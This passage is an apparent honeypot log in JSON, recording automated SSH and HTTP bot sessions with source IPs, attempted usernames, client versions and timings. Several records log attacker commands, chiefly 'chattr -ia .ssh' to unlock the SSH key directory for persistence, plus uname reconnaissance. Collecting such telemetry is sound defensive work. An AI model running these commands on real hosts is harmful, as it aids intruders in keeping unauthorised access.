  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:13:54.117852+00:00",
  "ended_at": "2026-08-27T13:14:08.396325+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ee9e809-17a6-4ef1-9eb3-b14e0726aa3d",
  "name": "craggy-coastal-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 56563,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:13:08.766233+00:00",
  "ended_at": "2026-08-27T13:13:31.814623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aad57660-524b-45fb-a468-10354c0fad59",
  "name": "sunlit-plucky-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 43666,
  "username": "vyatta",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:12:11.054327+00:00",
  "ended_at": "2026-08-27T13:12:11.192910+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "af3b7aec-5a42-4c47-88a7-02d439e8fa22",
  "name": "watchful-nimble-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 49038,
  "username": "vpnuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 794,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:11:34.264080+00:00",
  "ended_at": "2026-08-27T13:11:35.054224+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "4f82b5fb-6d68-447f-b8b7-0bc4a5fcb46e",
  "name": "gentle-hollow-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 50320,
  "username": "vpnuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:11:18.745555+00:00",
  "ended_at": "2026-08-27T13:11:20.107741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff9ccae5-b94b-4ceb-abc9-95516a4accdd",
  "name": "quartz-shaded-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49048,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:11:15.823726+00:00",
  "ended_at": "2026-08-27T13:11:17.098400+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "969ed54d-7c6f-4e70-a712-108ae2722dd4",
  "name": "autumn-genial-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "159.138.88.16",
  "src_port": 43816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo xsec",
  "started_at": "2026-08-27T13:10:50.974379+00:00",
  "ended_at": "2026-08-27T13:10:52.816826+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 13
 },
 {
  "id": "f00c17a5-4d18-4688-b503-11db1633996b",
  "name": "woven-fabled-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57484,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:10:07.280852+00:00",
  "ended_at": "2026-08-27T13:10:08.428732+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7c00e4aa-3488-4bea-8bb2-f9440acaf674",
  "name": "nameless-lonesome-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 38856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:09:50.689062+00:00",
  "ended_at": "2026-08-27T13:09:51.813302+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28ca9c99-8a9d-490c-a60e-61f70bf54920",
  "name": "rugged-solar-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57492,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:09:48.578780+00:00",
  "ended_at": "2026-08-27T13:09:49.993647+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf669552-6d98-4268-b4b7-6ab94bbf6e1a",
  "name": "windswept-thorny-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 49330,
  "username": "tt",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:08:58.272446+00:00",
  "ended_at": "2026-08-27T13:08:58.375739+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "e5fce962-9da0-4f2e-821c-7189ba7b8c1c",
  "name": "bronzed-vigilant-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 45808,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:08:36.969894+00:00",
  "ended_at": "2026-08-27T13:08:38.478631+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "eff6efd8-4e18-42b1-a81a-2b11487826dd",
  "name": "wry-sullen-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 46524,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 734,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:08:34.534956+00:00",
  "ended_at": "2026-08-27T13:08:35.347484+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "4a67f42d-5a36-461f-a737-cee38c3e6338",
  "name": "wry-balmy-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 45816,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:21.560931+00:00",
  "ended_at": "2026-08-27T13:08:23.420447+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "643c3bf1-e0b6-4ccd-ac58-39060cf9beb6",
  "name": "twilight-blithe-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 45812,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:20.342643+00:00",
  "ended_at": "2026-08-27T13:08:20.972240+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90fc4cff-bfd2-40a6-80dd-9195a13babf8",
  "name": "courtly-misty-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:19.035141+00:00",
  "ended_at": "2026-08-27T13:08:21.035011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a09b2e8d-c74e-41a7-8a98-ba9250fe67bc",
  "name": "rambling-honest-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 46534,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:08:16.402446+00:00",
  "ended_at": "2026-08-27T13:08:17.577003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a51727bf-109c-4e8a-a6ec-da8fe12737a8",
  "name": "creaky-brave-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42762,
  "username": "ardi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:08:00.808131+00:00",
  "ended_at": "2026-08-27T13:08:02.709755+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "df41709d-64d3-4562-9836-4ca6ac287ced",
  "name": "weathered-brisk-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42784,
  "username": "ardi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:07:45.770102+00:00",
  "ended_at": "2026-08-27T13:07:47.223233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "496678f4-e522-4fdd-80b6-5a8aba4c82fc",
  "name": "proud-placid-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42778,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:07:44.289331+00:00",
  "ended_at": "2026-08-27T13:07:45.115360+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96a4237d-aebe-432d-8513-9d616ad5acf7",
  "name": "silent-western-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 55953,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:06:47.225008+00:00",
  "ended_at": "2026-08-27T13:07:21.089708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2827558-c0bf-403f-887a-ceed52b5ac6e",
  "name": "ashen-autumn-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:06:37.211124+00:00",
  "ended_at": "2026-08-27T13:06:39.140279+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bf51edf9-8aa7-445b-9559-41f3e4ad19b4",
  "name": "steady-dewy-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52632,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:06:21.822701+00:00",
  "ended_at": "2026-08-27T13:06:22.986962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59a06842-b008-47bd-90f5-11fc6016047a",
  "name": "sterling-plucky-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52630,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:06:20.166479+00:00",
  "ended_at": "2026-08-27T13:06:21.227315+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98f7846c-2b00-4d02-911d-880d43d131a8",
  "name": "early-salty-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 43030,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:06:02.636910+00:00",
  "ended_at": "2026-08-27T13:06:04.735285+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "8ef102be-d7f7-4722-8090-9b150dc33035",
  "name": "autumn-spirited-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 35964,
  "username": "pool",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:05:46.803147+00:00",
  "ended_at": "2026-08-27T13:05:46.901605+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 737
 },
 {
  "id": "f22f078d-71e6-4fa6-9f72-21f02134b0ab",
  "name": "breezy-dewy-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 43052,
  "username": "pivpn",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:44.169440+00:00",
  "ended_at": "2026-08-27T13:05:46.154659+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9885b641-afdd-4307-bf50-787bdc971bc8",
  "name": "arctic-brazen-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 43038,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:42.444682+00:00",
  "ended_at": "2026-08-27T13:05:43.476466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e6a2b5f4-0d19-4c58-87c1-8d48697be742",
  "name": "merry-ivory-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43500,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:26.428474+00:00",
  "ended_at": "2026-08-27T13:05:28.473233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1086597-06dc-4518-9751-fb206b14ee80",
  "name": "ashen-gilded-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:05:22.744051+00:00",
  "ended_at": "2026-08-27T13:05:24.730143+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06b773c3-cdcb-4622-8e22-7ade1bcc10d8",
  "name": "proud-gallant-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 37892,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:05:19.157578+00:00",
  "ended_at": "2026-08-27T13:05:20.455268+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "3dba8f9a-97f8-4b75-830b-dcc5bffc433e",
  "name": "lofty-curious-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 49160,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:04:33.867640+00:00",
  "ended_at": "2026-08-27T13:04:57.167873+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "459198e0-3ad0-4842-ac57-15bd9617cee7",
  "name": "alpine-mindful-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 39800,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:04:33.784479+00:00",
  "ended_at": "2026-08-27T13:04:35.010501+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "495b9dcc-5498-4d32-8fdd-007068a0e981",
  "name": "gleaming-ivory-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58480,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:04:17.828089+00:00",
  "ended_at": "2026-08-27T13:04:18.764390+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2cd7ed48-7673-44f3-b81e-5b43965843b8",
  "name": "northern-thawing-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58474,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:04:15.467749+00:00",
  "ended_at": "2026-08-27T13:04:17.244309+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a3174d7-8e96-4b90-aa2a-2e5a18678ffd",
  "name": "gilded-gnarled-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47522,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:04:05.419096+00:00",
  "ended_at": "2026-08-27T13:04:06.597421+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "047a388a-5b15-466e-8856-1472d37c2eed",
  "name": "ginger-fearless-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 60034,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:04:04.740416+00:00",
  "ended_at": "2026-08-27T13:04:05.848593+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f928b2c1-6e1f-4378-8792-44b1efdedfc8",
  "name": "fearless-buoyant-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60066,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:47.987496+00:00",
  "ended_at": "2026-08-27T13:03:48.912921+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf9f016f-d870-42cf-82a8-1f87917f7c69",
  "name": "barren-humble-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60050,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:45.842089+00:00",
  "ended_at": "2026-08-27T13:03:47.107465+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "faf1093c-fbe7-455c-ae5a-153e480dd1f5",
  "name": "regal-tranquil-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47534,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:38.522792+00:00",
  "ended_at": "2026-08-27T13:03:40.356568+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75512b79-b954-4daf-8ed2-8f19930adb99",
  "name": "muted-ivory-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47526,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:36.856359+00:00",
  "ended_at": "2026-08-27T13:03:37.869941+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "730fe2f0-e7d1-4f70-bd7a-12f695faec20",
  "name": "courtly-scarlet-tamarin",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.159.145.153",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:28.749399+00:00",
  "ended_at": "2026-08-27T13:19:13.183026+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4dfc222-1443-414e-9e92-a91682268f15",
  "name": "nimble-fabled-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 49050,
  "username": "harmony",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T13:02:30.607399+00:00",
  "ended_at": "2026-08-27T13:02:30.712188+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 736
 },
 {
  "id": "0f682362-d5e7-4e59-b4bd-42fd12ad9a28",
  "name": "orderly-mighty-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 59570,
  "username": "kd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:02:26.363338+00:00",
  "ended_at": "2026-08-27T13:02:28.596587+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "1f66fbe8-6205-4ade-ad83-8d8bfbb20e70",
  "name": "arctic-hollow-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 37442,
  "username": "manish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:02:21.958827+00:00",
  "ended_at": "2026-08-27T13:02:23.873566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39e77f3b-bb0b-4233-9aa1-ec492c261078",
  "name": "painted-stoic-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 37430,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:02:18.479640+00:00",
  "ended_at": "2026-08-27T13:02:20.353553+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3379183-71c8-4aa5-80fc-22dc1ca5a40b",
  "name": "crystal-marbled-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 36968,
  "username": "manish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:02:15.401802+00:00",
  "ended_at": "2026-08-27T13:02:16.524606+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "ebcb1848-5249-4fdd-89c3-e9172f22b7e2",
  "name": "feathered-cheerful-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59600,
  "username": "kd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:02:11.508321+00:00",
  "ended_at": "2026-08-27T13:02:12.966551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b662831a-37d6-4aa2-9525-6f05f6e1384f",
  "name": "steady-bashful-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59586,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:02:09.932134+00:00",
  "ended_at": "2026-08-27T13:02:10.933943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b2ada6f7-2f54-4666-b63f-64729d310e48",
  "name": "amber-seaward-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47530,
  "username": "suraj",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
